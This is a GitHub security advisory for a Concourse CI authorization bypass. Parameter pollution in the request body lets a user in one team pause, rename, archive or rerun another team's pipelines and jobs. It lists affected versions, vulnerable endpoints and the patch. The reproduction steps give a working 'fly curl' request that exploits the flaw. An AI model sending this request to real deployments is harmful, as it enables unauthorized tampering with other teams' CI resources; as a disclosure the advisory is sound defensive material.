GHSA-5jp2-vwrj-99rf Team scope authorization bypass when Post/Put request with :team_name in body, allows HTTP parameter pollution

• Go github.com/concourse/concourse: < 6.7.9 → fixed in 6.7.9 • Go github.com/concourse/concourse: >= 7.0.0, < 7.8.3 → fixed in 7.8.3

Impact For some Post/Put Concourse endpoint containing `:team_name` in the URL, a Concourse user can send a request with body including `:team_name=team2` to bypass team scope check to gain access to certain resources belong to any other team. The user only needs a valid user session and belongs to team2. Exploitable endpoints: ``` {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/jobs/:job_name/builds/:build_name", Method: "POST", Name: RerunJobBuild}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/jobs/:job_name/pause", Method: "PUT", Name: PauseJob}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/jobs/:job_name/unpause", Method: "PUT", Name: UnpauseJob}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/jobs/:job_name/schedule", Method: "PUT", Name: ScheduleJob}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/pause", Method: "PUT", Name: PausePipeline}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/unpause", Method: "PUT", Name: UnpausePipeline}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/expose", Method: "PUT", Name: ExposePipeline}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/hide", Method: "PUT", Name: HidePipeline}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/rename", Method: "PUT", Name: RenamePipeline}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/archive", Method: "PUT", Name: ArchivePipeline}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/resources/:resource_name/versions/:resource_config_version_id/enable", Method: "PUT", Name: EnableResourceVersion}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/resources/:resource_name/versions/:resource_config_version_id/disable", Method: "PUT", Name: DisableResourceVersion}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/resources/:resource_name/versions/:resource_config_version_id/pin", Method: "PUT", Name: PinResourceVersion}, {Path: "/api/v1/teams/:team_name/pipelines/:pipeline_name/resources/:resource_name/unpin", Method: "PUT", Name: UnpinResource}, {Path: "/api/v1/teams/:team_name/artifacts", Method: "POST", Name: CreateArtifact}, ``` Steps to reproduce 1. Set up a Concourse deployment with team 1 (with pipeline 1) and team 2. User is in team 2 but not team 1. 2. Login as user to team 2. ``` fly -t ci login -n team2 -u user -p password ``` 3. Try pausing pipeline 1 in team 1 using fly. Verify the command output is `pipeline 'pipeline1' not found`. ``` fly -t ci pause-pipeline -p pipeline1 ``` 4. Send a customized request through `fly curl` command intend to pause pipeline 1 again. ``` fly -t ci curl /api/v1/teams/team1/pipelines/pipeline1/pause -- -X PUT -d ":team_name=team2" -H "Content-type: application/x-www-form-urlencoded" ``` 5. pipeline 1 in team 1 will be paused. In step 4, the parameter pollution would allow an user from any team to pause a pipeline that belongs to other team. Patches Concourse v6.7.9 and v7.8.3 were both released with a fix on October 12, 2022. Instead of using `FormValue` to parse team_name in the request, where allows body parameters to take precedence over URL query string values, both patch versions are now using `URL.Query().Get()` over multiple scope handlers to prevent the parameter pollution. Workarounds No known workarounds for existing versions. References • https://github.com/concourse/concourse/pull/8566: PR with the fix For more information If you have any questions or comments about this advisory, you may reach us privately at [email protected].